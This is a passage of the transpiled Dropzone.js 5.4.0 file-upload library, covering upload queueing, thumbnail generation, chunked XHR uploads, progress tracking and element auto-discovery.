_iterator17[Symbol.iterator]();;) {\n        var _ref16;\n\n        if (_isArray17) {\n          if (_i18 >= _iterator17.length) break;\n          _ref16 = _iterator17[_i18++];\n        } else {\n          _i18 = _iterator17.next();\n          if (_i18.done) break;\n          _ref16 = _i18.value;\n        }\n\n        var file = _ref16;\n\n        this.enqueueFile(file);\n      }\n      return null;\n    }\n  }, {\n    key: \"enqueueFile\",\n    value: function enqueueFile(file) {\n      var _this8 = this;\n\n      if (file.status === Dropzone.ADDED && file.accepted === true) {\n        file.status = Dropzone.QUEUED;\n        if (this.options.autoProcessQueue) {\n          return setTimeout(function () {\n            return _this8.processQueue();\n          }, 0); // Deferring the call\n        }\n      } else {\n        throw new Error(\"This file can't be queued because it has already been processed or was rejected.\");\n      }\n    }\n  }, {\n    key: \"_enqueueThumbnail\",\n    value: function _enqueueThumbnail(file) {\n      var _this9 = this;\n\n      if (this.options.createImageThumbnails && file.type.match(/image.*/) && file.size <= this.options.maxThumbnailFilesize * 1024 * 1024) {\n        this._thumbnailQueue.push(file);\n        return setTimeout(function () {\n          return _this9._processThumbnailQueue();\n        }, 0); // Deferring the call\n      }\n    }\n  }, {\n    key: \"_processThumbnailQueue\",\n    value: function _processThumbnailQueue() {\n      var _this10 = this;\n\n      if (this._processingThumbnail || this._thumbnailQueue.length === 0) {\n        return;\n      }\n\n      this._processingThumbnail = true;\n      var file = this._thumbnailQueue.shift();\n      return this.createThumbnail(file, this.options.thumbnailWidth, this.options.thumbnailHeight, this.options.thumbnailMethod, true, function (dataUrl) {\n        _this10.emit(\"thumbnail\", file, dataUrl);\n        _this10._processingThumbnail = false;\n        return _this10._processThumbnailQueue();\n      });\n    }\n\n    // Can be called by the user to remove a file\n\n  }, {\n    key: \"removeFile\",\n    value: function removeFile(file) {\n      if (file.status === Dropzone.UPLOADING) {\n        this.cancelUpload(file);\n      }\n      this.files = without(this.files, file);\n\n      this.emit(\"removedfile\", file);\n      if (this.files.length === 0) {\n        return this.emit(\"reset\");\n      }\n    }\n\n    // Removes all files that aren't currently processed from the list\n\n  }, {\n    key: \"removeAllFiles\",\n    value: function removeAllFiles(cancelIfNecessary) {\n      // Create a copy of files since removeFile() changes the @files array.\n      if (cancelIfNecessary == null) {\n        cancelIfNecessary = false;\n      }\n      for (var _iterator18 = this.files.slice(), _isArray18 = true, _i19 = 0, _iterator18 = _isArray18 ? _iterator18 : _iterator18[Symbol.iterator]();;) {\n        var _ref17;\n\n        if (_isArray18) {\n          if (_i19 >= _iterator18.length) break;\n          _ref17 = _iterator18[_i19++];\n        } else {\n          _i19 = _iterator18.next();\n          if (_i19.done) break;\n          _ref17 = _i19.value;\n        }\n\n        var file = _ref17;\n\n        if (file.status !== Dropzone.UPLOADING || cancelIfNecessary) {\n          this.removeFile(file);\n        }\n      }\n      return null;\n    }\n\n    // Resizes an image before it gets sent to the server. This function is the default behavior of\n    // `options.transformFile` if `resizeWidth` or `resizeHeight` are set. The callback is invoked with\n    // the resized blob.\n\n  }, {\n    key: \"resizeImage\",\n    value: function resizeImage(file, width, height, resizeMethod, callback) {\n      var _this11 = this;\n\n      return this.createThumbnail(file, width, height, resizeMethod, false, function (dataUrl, canvas) {\n        if (canvas == null) {\n          // The image has not been resized\n          return callback(file);\n        } else {\n          var resizeMimeType = _this11.options.resizeMimeType;\n\n          if (resizeMimeType == null) {\n            resizeMimeType = file.type;\n          }\n          var resizedDataURL = canvas.toDataURL(resizeMimeType, _this11.options.resizeQuality);\n          if (resizeMimeType === 'image/jpeg' || resizeMimeType === 'image/jpg') {\n            // Now add the original EXIF information\n            resizedDataURL = ExifRestore.restore(file.dataURL, resizedDataURL);\n          }\n          return callback(Dropzone.dataURItoBlob(resizedDataURL));\n        }\n      });\n    }\n  }, {\n    key: \"createThumbnail\",\n    value: function createThumbnail(file, width, height, resizeMethod, fixOrientation, callback) {\n      var _this12 = this;\n\n      var fileReader = new FileReader();\n\n      fileReader.onload = function () {\n\n        file.dataURL = fileReader.result;\n\n        // Don't bother creating a thumbnail for SVG images since they're vector\n        if (file.type === \"image/svg+xml\") {\n          if (callback != null) {\n            callback(fileReader.result);\n          }\n          return;\n        }\n\n        return _this12.createThumbnailFromUrl(file, width, height, resizeMethod, fixOrientation, callback);\n      };\n\n      return fileReader.readAsDataURL(file);\n    }\n  }, {\n    key: \"createThumbnailFromUrl\",\n    value: function createThumbnailFromUrl(file, width, height, resizeMethod, fixOrientation, callback, crossOrigin) {\n      var _this13 = this;\n\n      // Not using `new Image` here because of a bug in latest Chrome versions.\n      // See https://github.com/enyo/dropzone/pull/226\n      var img = document.createElement(\"img\");\n\n      if (crossOrigin) {\n        img.crossOrigin = crossOrigin;\n      }\n\n      img.onload = function () {\n        var loadExif = function loadExif(callback) {\n          return callback(1);\n        };\n        if (typeof EXIF !== 'undefined' && EXIF !== null && fixOrientation) {\n          loadExif = function loadExif(callback) {\n            return EXIF.getData(img, function () {\n              return callback(EXIF.getTag(this, 'Orientation'));\n            });\n          };\n        }\n\n        return loadExif(function (orientation) {\n          file.width = img.width;\n          file.height = img.height;\n\n          var resizeInfo = _this13.options.resize.call(_this13, file, width, height, resizeMethod);\n\n          var canvas = document.createElement(\"canvas\");\n          var ctx = canvas.getContext(\"2d\");\n\n          canvas.width = resizeInfo.trgWidth;\n          canvas.height = resizeInfo.trgHeight;\n\n          if (orientation > 4) {\n            canvas.width = resizeInfo.trgHeight;\n            canvas.height = resizeInfo.trgWidth;\n          }\n\n          switch (orientation) {\n            case 2:\n              // horizontal flip\n              ctx.translate(canvas.width, 0);\n              ctx.scale(-1, 1);\n              break;\n            case 3:\n              // 180° rotate left\n              ctx.translate(canvas.width, canvas.height);\n              ctx.rotate(Math.PI);\n              break;\n            case 4:\n              // vertical flip\n              ctx.translate(0, canvas.height);\n              ctx.scale(1, -1);\n              break;\n            case 5:\n              // vertical flip + 90 rotate right\n              ctx.rotate(0.5 * Math.PI);\n              ctx.scale(1, -1);\n              break;\n            case 6:\n              // 90° rotate right\n              ctx.rotate(0.5 * Math.PI);\n              ctx.translate(0, -canvas.height);\n              break;\n            case 7:\n              // horizontal flip + 90 rotate right\n              ctx.rotate(0.5 * Math.PI);\n              ctx.translate(canvas.width, -canvas.height);\n              ctx.scale(-1, 1);\n              break;\n            case 8:\n              // 90° rotate left\n              ctx.rotate(-0.5 * Math.PI);\n              ctx.translate(-canvas.width, 0);\n              break;\n          }\n\n          // This is a bugfix for iOS' scaling bug.\n          drawImageIOSFix(ctx, img, resizeInfo.srcX != null ? resizeInfo.srcX : 0, resizeInfo.srcY != null ? resizeInfo.srcY : 0, resizeInfo.srcWidth, resizeInfo.srcHeight, resizeInfo.trgX != null ? resizeInfo.trgX : 0, resizeInfo.trgY != null ? resizeInfo.trgY : 0, resizeInfo.trgWidth, resizeInfo.trgHeight);\n\n          var thumbnail = canvas.toDataURL(\"image/png\");\n\n          if (callback != null) {\n            return callback(thumbnail, canvas);\n          }\n        });\n      };\n\n      if (callback != null) {\n        img.onerror = callback;\n      }\n\n      return img.src = file.dataURL;\n    }\n\n    // Goes through the queue and processes files if there aren't too many already.\n\n  }, {\n    key: \"processQueue\",\n    value: function processQueue() {\n      var parallelUploads = this.options.parallelUploads;\n\n      var processingLength = this.getUploadingFiles().length;\n      var i = processingLength;\n\n      // There are already at least as many files uploading than should be\n      if (processingLength >= parallelUploads) {\n        return;\n      }\n\n      var queuedFiles = this.getQueuedFiles();\n\n      if (!(queuedFiles.length > 0)) {\n        return;\n      }\n\n      if (this.options.uploadMultiple) {\n        // The files should be uploaded in one request\n        return this.processFiles(queuedFiles.slice(0, parallelUploads - processingLength));\n      } else {\n        while (i < parallelUploads) {\n          if (!queuedFiles.length) {\n            return;\n          } // Nothing left to process\n          this.processFile(queuedFiles.shift());\n          i++;\n        }\n      }\n    }\n\n    // Wrapper for `processFiles`\n\n  }, {\n    key: \"processFile\",\n    value: function processFile(file) {\n      return this.processFiles([file]);\n    }\n\n    // Loads the file, then calls finishedLoading()\n\n  }, {\n    key: \"processFiles\",\n    value: function processFiles(files) {\n      for (var _iterator19 = files, _isArray19 = true, _i20 = 0, _iterator19 = _isArray19 ? _iterator19 : _iterator19[Symbol.iterator]();;) {\n        var _ref18;\n\n        if (_isArray19) {\n          if (_i20 >= _iterator19.length) break;\n          _ref18 = _iterator19[_i20++];\n        } else {\n          _i20 = _iterator19.next();\n          if (_i20.done) break;\n          _ref18 = _i20.value;\n        }\n\n        var file = _ref18;\n\n        file.processing = true; // Backwards compatibility\n        file.status = Dropzone.UPLOADING;\n\n        this.emit(\"processing\", file);\n      }\n\n      if (this.options.uploadMultiple) {\n        this.emit(\"processingmultiple\", files);\n      }\n\n      return this.uploadFiles(files);\n    }\n  }, {\n    key: \"_getFilesWithXhr\",\n    value: function _getFilesWithXhr(xhr) {\n      var files = void 0;\n      return files = this.files.filter(function (file) {\n        return file.xhr === xhr;\n      }).map(function (file) {\n        return file;\n      });\n    }\n\n    // Cancels the file upload and sets the status to CANCELED\n    // **if** the file is actually being uploaded.\n    // If it's still in the queue, the file is being removed from it and the status\n    // set to CANCELED.\n\n  }, {\n    key: \"cancelUpload\",\n    value: function cancelUpload(file) {\n      if (file.status === Dropzone.UPLOADING) {\n        var groupedFiles = this._getFilesWithXhr(file.xhr);\n        for (var _iterator20 = groupedFiles, _isArray20 = true, _i21 = 0, _iterator20 = _isArray20 ? _iterator20 : _iterator20[Symbol.iterator]();;) {\n          var _ref19;\n\n          if (_isArray20) {\n            if (_i21 >= _iterator20.length) break;\n            _ref19 = _iterator20[_i21++];\n          } else {\n            _i21 = _iterator20.next();\n            if (_i21.done) break;\n            _ref19 = _i21.value;\n          }\n\n          var groupedFile = _ref19;\n\n          groupedFile.status = Dropzone.CANCELED;\n        }\n        if (typeof file.xhr !== 'undefined') {\n          file.xhr.abort();\n        }\n        for (var _iterator21 = groupedFiles, _isArray21 = true, _i22 = 0, _iterator21 = _isArray21 ? _iterator21 : _iterator21[Symbol.iterator]();;) {\n          var _ref20;\n\n          if (_isArray21) {\n            if (_i22 >= _iterator21.length) break;\n            _ref20 = _iterator21[_i22++];\n          } else {\n            _i22 = _iterator21.next();\n            if (_i22.done) break;\n            _ref20 = _i22.value;\n          }\n\n          var _groupedFile = _ref20;\n\n          this.emit(\"canceled\", _groupedFile);\n        }\n        if (this.options.uploadMultiple) {\n          this.emit(\"canceledmultiple\", groupedFiles);\n        }\n      } else if (file.status === Dropzone.ADDED || file.status === Dropzone.QUEUED) {\n        file.status = Dropzone.CANCELED;\n        this.emit(\"canceled\", file);\n        if (this.options.uploadMultiple) {\n          this.emit(\"canceledmultiple\", [file]);\n        }\n      }\n\n      if (this.options.autoProcessQueue) {\n        return this.processQueue();\n      }\n    }\n  }, {\n    key: \"resolveOption\",\n    value: function resolveOption(option) {\n      if (typeof option === 'function') {\n        for (var _len3 = arguments.length, args = Array(_len3 > 1 ? _len3 - 1 : 0), _key3 = 1; _key3 < _len3; _key3++) {\n          args[_key3 - 1] = arguments[_key3];\n        }\n\n        return option.apply(this, args);\n      }\n      return option;\n    }\n  }, {\n    key: \"uploadFile\",\n    value: function uploadFile(file) {\n      return this.uploadFiles([file]);\n    }\n  }, {\n    key: \"uploadFiles\",\n    value: function uploadFiles(files) {\n      var _this14 = this;\n\n      this._transformFiles(files, function (transformedFiles) {\n        if (files[0].upload.chunked) {\n          // This file should be sent in chunks!\n\n          // If the chunking option is set, we **know** that there can only be **one** file, since\n          // uploadMultiple is not allowed with this option.\n          var file = files[0];\n          var transformedFile = transformedFiles[0];\n          var startedChunkCount = 0;\n\n          file.upload.chunks = [];\n\n          var handleNextChunk = function handleNextChunk() {\n            var chunkIndex = 0;\n\n            // Find the next item in file.upload.chunks that is not defined yet.\n            while (file.upload.chunks[chunkIndex] !== undefined) {\n              chunkIndex++;\n            }\n\n            // This means, that all chunks have already been started.\n            if (chunkIndex >= file.upload.totalChunkCount) return;\n\n            startedChunkCount++;\n\n            var start = chunkIndex * _this14.options.chunkSize;\n            var end = Math.min(start + _this14.options.chunkSize, file.size);\n\n            var dataBlock = {\n              name: _this14._getParamName(0),\n              data: transformedFile.webkitSlice ? transformedFile.webkitSlice(start, end) : transformedFile.slice(start, end),\n              filename: file.upload.filename,\n              chunkIndex: chunkIndex\n            };\n\n            file.upload.chunks[chunkIndex] = {\n              file: file,\n              index: chunkIndex,\n              dataBlock: dataBlock, // In case we want to retry.\n              status: Dropzone.UPLOADING,\n              progress: 0,\n              retries: 0 // The number of times this block has been retried.\n            };\n\n            _this14._uploadData(files, [dataBlock]);\n          };\n\n          file.upload.finishedChunkUpload = function (chunk) {\n            var allFinished = true;\n            chunk.status = Dropzone.SUCCESS;\n\n            // Clear the data from the chunk\n            chunk.dataBlock = null;\n\n            for (var i = 0; i < file.upload.totalChunkCount; i++) {\n              if (file.upload.chunks[i] === undefined) {\n                return handleNextChunk();\n              }\n              if (file.upload.chunks[i].status !== Dropzone.SUCCESS) {\n                allFinished = false;\n              }\n            }\n\n            if (allFinished) {\n              _this14.options.chunksUploaded(file, function () {\n                _this14._finished(files, '', null);\n              });\n            }\n          };\n\n          if (_this14.options.parallelChunkUploads) {\n            for (var i = 0; i < file.upload.totalChunkCount; i++) {\n              handleNextChunk();\n            }\n          } else {\n            handleNextChunk();\n          }\n        } else {\n          var dataBlocks = [];\n          for (var _i23 = 0; _i23 < files.length; _i23++) {\n            dataBlocks[_i23] = {\n              name: _this14._getParamName(_i23),\n              data: transformedFiles[_i23],\n              filename: files[_i23].upload.filename\n            };\n          }\n          _this14._uploadData(files, dataBlocks);\n        }\n      });\n    }\n\n    /// Returns the right chunk for given file and xhr\n\n  }, {\n    key: \"_getChunk\",\n    value: function _getChunk(file, xhr) {\n      for (var i = 0; i < file.upload.totalChunkCount; i++) {\n        if (file.upload.chunks[i] !== undefined && file.upload.chunks[i].xhr === xhr) {\n          return file.upload.chunks[i];\n        }\n      }\n    }\n\n    // This function actually uploads the file(s) to the server.\n    // If dataBlocks contains the actual data to upload (meaning, that this could either be transformed\n    // files, or individual chunks for chunked upload).\n\n  }, {\n    key: \"_uploadData\",\n    value: function _uploadData(files, dataBlocks) {\n      var _this15 = this;\n\n      var xhr = new XMLHttpRequest();\n\n      // Put the xhr object in the file objects to be able to reference it later.\n      for (var _iterator22 = files, _isArray22 = true, _i24 = 0, _iterator22 = _isArray22 ? _iterator22 : _iterator22[Symbol.iterator]();;) {\n        var _ref21;\n\n        if (_isArray22) {\n          if (_i24 >= _iterator22.length) break;\n          _ref21 = _iterator22[_i24++];\n        } else {\n          _i24 = _iterator22.next();\n          if (_i24.done) break;\n          _ref21 = _i24.value;\n        }\n\n        var file = _ref21;\n\n        file.xhr = xhr;\n      }\n      if (files[0].upload.chunked) {\n        // Put the xhr object in the right chunk object, so it can be associated later, and found with _getChunk\n        files[0].upload.chunks[dataBlocks[0].chunkIndex].xhr = xhr;\n      }\n\n      var method = this.resolveOption(this.options.method, files);\n      var url = this.resolveOption(this.options.url, files);\n      xhr.open(method, url, true);\n\n      // Setting the timeout after open because of IE11 issue: https://gitlab.com/meno/dropzone/issues/8\n      xhr.timeout = this.resolveOption(this.options.timeout, files);\n\n      // Has to be after `.open()`. See https://github.com/enyo/dropzone/issues/179\n      xhr.withCredentials = !!this.options.withCredentials;\n\n      xhr.onload = function (e) {\n        _this15._finishedUploading(files, xhr, e);\n      };\n\n      xhr.onerror = function () {\n        _this15._handleUploadError(files, xhr);\n      };\n\n      // Some browsers do not have the .upload property\n      var progressObj = xhr.upload != null ? xhr.upload : xhr;\n      progressObj.onprogress = function (e) {\n        return _this15._updateFilesUploadProgress(files, xhr, e);\n      };\n\n      var headers = {\n        \"Accept\": \"application/json\",\n        \"Cache-Control\": \"no-cache\",\n        \"X-Requested-With\": \"XMLHttpRequest\"\n      };\n\n      if (this.options.headers) {\n        Dropzone.extend(headers, this.options.headers);\n      }\n\n      for (var headerName in headers) {\n        var headerValue = headers[headerName];\n        if (headerValue) {\n          xhr.setRequestHeader(headerName, headerValue);\n        }\n      }\n\n      var formData = new FormData();\n\n      // Adding all @options parameters\n      if (this.options.params) {\n        var additionalParams = this.options.params;\n        if (typeof additionalParams === 'function') {\n          additionalParams = additionalParams.call(this, files, xhr, files[0].upload.chunked ? this._getChunk(files[0], xhr) : null);\n        }\n\n        for (var key in additionalParams) {\n          var value = additionalParams[key];\n          formData.append(key, value);\n        }\n      }\n\n      // Let the user add additional data if necessary\n      for (var _iterator23 = files, _isArray23 = true, _i25 = 0, _iterator23 = _isArray23 ? _iterator23 : _iterator23[Symbol.iterator]();;) {\n        var _ref22;\n\n        if (_isArray23) {\n          if (_i25 >= _iterator23.length) break;\n          _ref22 = _iterator23[_i25++];\n        } else {\n          _i25 = _iterator23.next();\n          if (_i25.done) break;\n          _ref22 = _i25.value;\n        }\n\n        var _file = _ref22;\n\n        this.emit(\"sending\", _file, xhr, formData);\n      }\n      if (this.options.uploadMultiple) {\n        this.emit(\"sendingmultiple\", files, xhr, formData);\n      }\n\n      this._addFormElementData(formData);\n\n      // Finally add the files\n      // Has to be last because some servers (eg: S3) expect the file to be the last parameter\n      for (var i = 0; i < dataBlocks.length; i++) {\n        var dataBlock = dataBlocks[i];\n        formData.append(dataBlock.name, dataBlock.data, dataBlock.filename);\n      }\n\n      this.submitRequest(xhr, formData, files);\n    }\n\n    // Transforms all files with this.options.transformFile and invokes done with the transformed files when done.\n\n  }, {\n    key: \"_transformFiles\",\n    value: function _transformFiles(files, done) {\n      var _this16 = this;\n\n      var transformedFiles = [];\n      // Clumsy way of handling asynchronous calls, until I get to add a proper Future library.\n      var doneCounter = 0;\n\n      var _loop = function _loop(i) {\n        _this16.options.transformFile.call(_this16, files[i], function (transformedFile) {\n          transformedFiles[i] = transformedFile;\n          if (++doneCounter === files.length) {\n            done(transformedFiles);\n          }\n        });\n      };\n\n      for (var i = 0; i < files.length; i++) {\n        _loop(i);\n      }\n    }\n\n    // Takes care of adding other input elements of the form to the AJAX request\n\n  }, {\n    key: \"_addFormElementData\",\n    value: function _addFormElementData(formData) {\n      // Take care of other input elements\n      if (this.element.tagName === \"FORM\") {\n        for (var _iterator24 = this.element.querySelectorAll(\"input, textarea, select, button\"), _isArray24 = true, _i26 = 0, _iterator24 = _isArray24 ? _iterator24 : _iterator24[Symbol.iterator]();;) {\n          var _ref23;\n\n          if (_isArray24) {\n            if (_i26 >= _iterator24.length) break;\n            _ref23 = _iterator24[_i26++];\n          } else {\n            _i26 = _iterator24.next();\n            if (_i26.done) break;\n            _ref23 = _i26.value;\n          }\n\n          var input = _ref23;\n\n          var inputName = input.getAttribute(\"name\");\n          var inputType = input.getAttribute(\"type\");\n          if (inputType) inputType = inputType.toLowerCase();\n\n          // If the input doesn't have a name, we can't use it.\n          if (typeof inputName === 'undefined' || inputName === null) continue;\n\n          if (input.tagName === \"SELECT\" && input.hasAttribute(\"multiple\")) {\n            // Possibly multiple values\n            for (var _iterator25 = input.options, _isArray25 = true, _i27 = 0, _iterator25 = _isArray25 ? _iterator25 : _iterator25[Symbol.iterator]();;) {\n              var _ref24;\n\n              if (_isArray25) {\n                if (_i27 >= _iterator25.length) break;\n                _ref24 = _iterator25[_i27++];\n              } else {\n                _i27 = _iterator25.next();\n                if (_i27.done) break;\n                _ref24 = _i27.value;\n              }\n\n              var option = _ref24;\n\n              if (option.selected) {\n                formData.append(inputName, option.value);\n              }\n            }\n          } else if (!inputType || inputType !== \"checkbox\" && inputType !== \"radio\" || input.checked) {\n            formData.append(inputName, input.value);\n          }\n        }\n      }\n    }\n\n    // Invoked when there is new progress information about given files.\n    // If e is not provided, it is assumed that the upload is finished.\n\n  }, {\n    key: \"_updateFilesUploadProgress\",\n    value: function _updateFilesUploadProgress(files, xhr, e) {\n      var progress = void 0;\n      if (typeof e !== 'undefined') {\n        progress = 100 * e.loaded / e.total;\n\n        if (files[0].upload.chunked) {\n          var file = files[0];\n          // Since this is a chunked upload, we need to update the appropriate chunk progress.\n          var chunk = this._getChunk(file, xhr);\n          chunk.progress = progress;\n          chunk.total = e.total;\n          chunk.bytesSent = e.loaded;\n          var fileProgress = 0,\n              fileTotal = void 0,\n              fileBytesSent = void 0;\n          file.upload.progress = 0;\n          file.upload.total = 0;\n          file.upload.bytesSent = 0;\n          for (var i = 0; i < file.upload.totalChunkCount; i++) {\n            if (file.upload.chunks[i] !== undefined && file.upload.chunks[i].progress !== undefined) {\n              file.upload.progress += file.upload.chunks[i].progress;\n              file.upload.total += file.upload.chunks[i].total;\n              file.upload.bytesSent += file.upload.chunks[i].bytesSent;\n            }\n          }\n          file.upload.progress = file.upload.progress / file.upload.totalChunkCount;\n        } else {\n          for (var _iterator26 = files, _isArray26 = true, _i28 = 0, _iterator26 = _isArray26 ? _iterator26 : _iterator26[Symbol.iterator]();;) {\n            var _ref25;\n\n            if (_isArray26) {\n              if (_i28 >= _iterator26.length) break;\n              _ref25 = _iterator26[_i28++];\n            } else {\n              _i28 = _iterator26.next();\n              if (_i28.done) break;\n              _ref25 = _i28.value;\n            }\n\n            var _file2 = _ref25;\n\n            _file2.upload.progress = progress;\n            _file2.upload.total = e.total;\n            _file2.upload.bytesSent = e.loaded;\n          }\n        }\n        for (var _iterator27 = files, _isArray27 = true, _i29 = 0, _iterator27 = _isArray27 ? _iterator27 : _iterator27[Symbol.iterator]();;) {\n          var _ref26;\n\n          if (_isArray27) {\n            if (_i29 >= _iterator27.length) break;\n            _ref26 = _iterator27[_i29++];\n          } else {\n            _i29 = _iterator27.next();\n            if (_i29.done) break;\n            _ref26 = _i29.value;\n          }\n\n          var _file3 = _ref26;\n\n          this.emit(\"uploadprogress\", _file3, _file3.upload.progress, _file3.upload.bytesSent);\n        }\n      } else {\n        // Called when the file finished uploading\n\n        var allFilesFinished = true;\n\n        progress = 100;\n\n        for (var _iterator28 = files, _isArray28 = true, _i30 = 0, _iterator28 = _isArray28 ? _iterator28 : _iterator28[Symbol.iterator]();;) {\n          var _ref27;\n\n          if (_isArray28) {\n            if (_i30 >= _iterator28.length) break;\n            _ref27 = _iterator28[_i30++];\n          } else {\n            _i30 = _iterator28.next();\n            if (_i30.done) break;\n            _ref27 = _i30.value;\n          }\n\n          var _file4 = _ref27;\n\n          if (_file4.upload.progress !== 100 || _file4.upload.bytesSent !== _file4.upload.total) {\n            allFilesFinished = false;\n          }\n          _file4.upload.progress = progress;\n          _file4.upload.bytesSent = _file4.upload.total;\n        }\n\n        // Nothing to do, all files already at 100%\n        if (allFilesFinished) {\n          return;\n        }\n\n        for (var _iterator29 = files, _isArray29 = true, _i31 = 0, _iterator29 = _isArray29 ? _iterator29 : _iterator29[Symbol.iterator]();;) {\n          var _ref28;\n\n          if (_isArray29) {\n            if (_i31 >= _iterator29.length) break;\n            _ref28 = _iterator29[_i31++];\n          } else {\n            _i31 = _iterator29.next();\n            if (_i31.done) break;\n            _ref28 = _i31.value;\n          }\n\n          var _file5 = _ref28;\n\n          this.emit(\"uploadprogress\", _file5, progress, _file5.upload.bytesSent);\n        }\n      }\n    }\n  }, {\n    key: \"_finishedUploading\",\n    value: function _finishedUploading(files, xhr, e) {\n      var response = void 0;\n\n      if (files[0].status === Dropzone.CANCELED) {\n        return;\n      }\n\n      if (xhr.readyState !== 4) {\n        return;\n      }\n\n      if (xhr.responseType !== 'arraybuffer' && xhr.responseType !== 'blob') {\n        response = xhr.responseText;\n\n        if (xhr.getResponseHeader(\"content-type\") && ~xhr.getResponseHeader(\"content-type\").indexOf(\"application/json\")) {\n          try {\n            response = JSON.parse(response);\n          } catch (error) {\n            e = error;\n            response = \"Invalid JSON response from server.\";\n          }\n        }\n      }\n\n      this._updateFilesUploadProgress(files);\n\n      if (!(200 <= xhr.status && xhr.status < 300)) {\n        this._handleUploadError(files, xhr, response);\n      } else {\n        if (files[0].upload.chunked) {\n          files[0].upload.finishedChunkUpload(this._getChunk(files[0], xhr));\n        } else {\n          this._finished(files, response, e);\n        }\n      }\n    }\n  }, {\n    key: \"_handleUploadError\",\n    value: function _handleUploadError(files, xhr, response) {\n      if (files[0].status === Dropzone.CANCELED) {\n        return;\n      }\n\n      if (files[0].upload.chunked && this.options.retryChunks) {\n        var chunk = this._getChunk(files[0], xhr);\n        if (chunk.retries++ < this.options.retryChunksLimit) {\n          this._uploadData(files, [chunk.dataBlock]);\n          return;\n        } else {\n          console.warn('Retried this chunk too often. Giving up.');\n        }\n      }\n\n      for (var _iterator30 = files, _isArray30 = true, _i32 = 0, _iterator30 = _isArray30 ? _iterator30 : _iterator30[Symbol.iterator]();;) {\n        var _ref29;\n\n        if (_isArray30) {\n          if (_i32 >= _iterator30.length) break;\n          _ref29 = _iterator30[_i32++];\n        } else {\n          _i32 = _iterator30.next();\n          if (_i32.done) break;\n          _ref29 = _i32.value;\n        }\n\n        var file = _ref29;\n\n        this._errorProcessing(files, response || this.options.dictResponseError.replace(\"{{statusCode}}\", xhr.status), xhr);\n      }\n    }\n  }, {\n    key: \"submitRequest\",\n    value: function submitRequest(xhr, formData, files) {\n      xhr.send(formData);\n    }\n\n    // Called internally when processing is finished.\n    // Individual callbacks have to be called in the appropriate sections.\n\n  }, {\n    key: \"_finished\",\n    value: function _finished(files, responseText, e) {\n      for (var _iterator31 = files, _isArray31 = true, _i33 = 0, _iterator31 = _isArray31 ? _iterator31 : _iterator31[Symbol.iterator]();;) {\n        var _ref30;\n\n        if (_isArray31) {\n          if (_i33 >= _iterator31.length) break;\n          _ref30 = _iterator31[_i33++];\n        } else {\n          _i33 = _iterator31.next();\n          if (_i33.done) break;\n          _ref30 = _i33.value;\n        }\n\n        var file = _ref30;\n\n        file.status = Dropzone.SUCCESS;\n        this.emit(\"success\", file, responseText, e);\n        this.emit(\"complete\", file);\n      }\n      if (this.options.uploadMultiple) {\n        this.emit(\"successmultiple\", files, responseText, e);\n        this.emit(\"completemultiple\", files);\n      }\n\n      if (this.options.autoProcessQueue) {\n        return this.processQueue();\n      }\n    }\n\n    // Called internally when processing is finished.\n    // Individual callbacks have to be called in the appropriate sections.\n\n  }, {\n    key: \"_errorProcessing\",\n    value: function _errorProcessing(files, message, xhr) {\n      for (var _iterator32 = files, _isArray32 = true, _i34 = 0, _iterator32 = _isArray32 ? _iterator32 : _iterator32[Symbol.iterator]();;) {\n        var _ref31;\n\n        if (_isArray32) {\n          if (_i34 >= _iterator32.length) break;\n          _ref31 = _iterator32[_i34++];\n        } else {\n          _i34 = _iterator32.next();\n          if (_i34.done) break;\n          _ref31 = _i34.value;\n        }\n\n        var file = _ref31;\n\n        file.status = Dropzone.ERROR;\n        this.emit(\"error\", file, message, xhr);\n        this.emit(\"complete\", file);\n      }\n      if (this.options.uploadMultiple) {\n        this.emit(\"errormultiple\", files, message, xhr);\n        this.emit(\"completemultiple\", files);\n      }\n\n      if (this.options.autoProcessQueue) {\n        return this.processQueue();\n      }\n    }\n  }], [{\n    key: \"uuidv4\",\n    value: function uuidv4() {\n      return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {\n        var r = Math.random() * 16 | 0,\n            v = c === 'x' ? r : r & 0x3 | 0x8;\n        return v.toString(16);\n      });\n    }\n  }]);\n\n  return Dropzone;\n}(Emitter);\n\nDropzone.initClass();\n\nDropzone.version = \"5.4.0\";\n\n// This is a map of options for your different dropzones. Add configurations\n// to this object for your different dropzone elemens.\n//\n// Example:\n//\n//     Dropzone.options.myDropzoneElementId = { maxFilesize: 1 };\n//\n// To disable autoDiscover for a specific element, you can set `false` as an option:\n//\n//     Dropzone.options.myDisabledElementId = false;\n//\n// And in html:\n//\n//     <form action=\"/upload\" id=\"my-dropzone-element-id\" class=\"dropzone\"></form>\nDropzone.options = {};\n\n// Returns the options for an element or undefined if none available.\nDropzone.optionsForElement = function (element) {\n  // Get the `Dropzone.options.elementId` for this element if it exists\n  if (element.getAttribute(\"id\")) {\n    return Dropzone.options[camelize(element.getAttribute(\"id\"))];\n  } else {\n    return undefined;\n  }\n};\n\n// Holds a list of all dropzone instances\nDropzone.instances = [];\n\n// Returns the dropzone for given element if any\nDropzone.forElement = function (element) {\n  if (typeof element === \"string\") {\n    element = document.querySelector(element);\n  }\n  if ((element != null ? element.dropzone : undefined) == null) {\n    throw new Error(\"No Dropzone found for given element. This is probably because you're trying to access it before Dropzone had the time to initialize. Use the `init` option to setup any additional observers on your Dropzone.\");\n  }\n  return element.dropzone;\n};\n\n// Set to false if you don't want Dropzone to automatically find and attach to .dropzone elements.\nDropzone.autoDiscover = true;\n\n// Looks for all .dropzone elements and creates a dropzone for them\nDropzone.discover = function () {\n  var dropzones = void 0;\n  if (document.querySelectorAll) {\n    dropzones = document.querySelectorAll(\".dropzone\");\n  } else {\n    dropzones = [];\n    // IE :(\n    var checkElements = function checkElements(elements) {\n      return function () {\n        var result = [];\n        for (var _iterator33 = elements, _isArray33 = true, _i35 = 0, _iterator33 = _isArray33 ? _iterator33 : _iterator33[Symbol.iterator]();;) {\n          var _ref32;\n\n          if (_isArray33) {\n            if (_i35 >= _iterator33.length) break;\n            _ref32 = _iterator33[_i35++];\n          } else {\n            _i35 = _iterator33.next();\n            if (_i35.done) break;\n            _ref32 = _i35.value;\n          }\n\n          var el = _ref32;\n\n          if (/(^| )dropzone($| )/.test(el.className)) {\n            result.push(dropzones.push(el));\n          } else {\n            result.push(undefined);\n          }\n        }\n        return result;\n      }();\n    };\n    checkElements(document.getElementsByTagName(\"div\"));\n    checkElements(document.getElementsByTagName(\"form\"));\n  }\n\n  return function () {\n    var result = [];\n    for (var _iterator34 = dropzones, _isArray34 = true, _i36 = 0, _iterator34 = _isArray34 ? _iterator34 : _iterator34[Symbol.iterator]();;) {\n      var _ref33;\n\n     